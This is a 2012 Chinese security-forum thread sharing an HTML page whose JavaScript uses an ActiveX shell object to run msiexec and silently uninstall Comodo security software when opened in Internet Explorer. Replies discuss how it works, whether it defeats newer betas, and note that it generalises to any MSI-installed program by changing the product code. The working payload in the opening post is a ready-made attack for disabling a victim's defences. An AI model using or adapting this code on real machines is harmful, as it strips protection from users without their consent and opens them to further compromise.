穿破 comodo v6 beta2，.HTML 代碼

显示全部楼层 · 发表于 2012-12-1 02:11:56

本帖最后由 a256886572008 于 2012-12-1 09:13 编辑

1.用 IE打開

2.允許執行 ActiveX

3.它會自己卸載 comodo

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<script language="JavaScript" type="text/javascript">

function run()
{
var wshShell = new ActiveXObject("WScript.Shell");
wshShell.Run("C:\\WINDOWS\\system32\\msiexec.exe /x{0E9AFD45-C3BA-41D1-B54B-495A22CB3409} /quiet /norestart", 1, true);
}

</script>
</head>
<input type="button" value="Lancer">
</body>
</html>

關於紅色部份：
如下圖，可以自行到開始菜單那個卸載項，右鍵查看內容，自行改路徑。

基於.msi安裝的，就能被穿破。

-------------
作者說：

By the way, I forgot to say, you need admin rights on vista and seven.

显示全部楼层 · 发表于 2012-12-1 09:10:52

沙发！

显示全部楼层 · 发表于 2012-12-1 09:21:22

本帖最后由 virusdefender 于 2012-12-1 09:25 编辑

楼主经常提供一些价值很高的样本，感谢支持

因为我没有安装comodo,所以我想问一下，这个是不是就是调用comodo自己的卸载从程序啊，下一步等是怎么自动点击的呢，有没有卸载界面啊？

我看看这个对别的软件适用么

显示全部楼层 · 发表于 2012-12-1 09:35:40

准备下载beta3试试

显示全部楼层 · 发表于 2012-12-1 10:38:47

本帖最后由 a256886572008 于 2012-12-1 10:41 编辑

virusdefender 发表于 2012-12-1 09:21
楼主经常提供一些价值很高的样本，感谢支持

因为我没有安装comodo,所以我想问一下，这个是不是就是调用c ...

1.就是調用卸載程序(基於 .msi安裝的)。
然後，CLSID的代碼部份，我有給圖了，從那裡查看。

2.沒有介面哦，那個代碼就寫了後台執行。

3.作者說，只要是 .msi安裝的都能這樣後台自動卸載。

显示全部楼层 · 发表于 2012-12-1 10:41:31

能穿beta 3吗？

显示全部楼层 · 发表于 2012-12-1 10:47:20

IE入沙呢？

显示全部楼层 · 发表于 2012-12-1 11:16:52

Shinyjp 发表于 2012-12-1 10:47
IE入沙呢？

當然可以攔截。

主要是 IE 以命令行執行msiexec.exe 卸載 comodo。

显示全部楼层 · 发表于 2012-12-1 11:20:25

BETA3 岿然不动

显示全部楼层 · 发表于 2012-12-1 11:53:16

人气后补吧
看来沙盘不开还真不行

[讨论] 穿破 comodo v6 beta2，.HTML 代碼

本帖子中包含更多资源

评分

本帖子中包含更多资源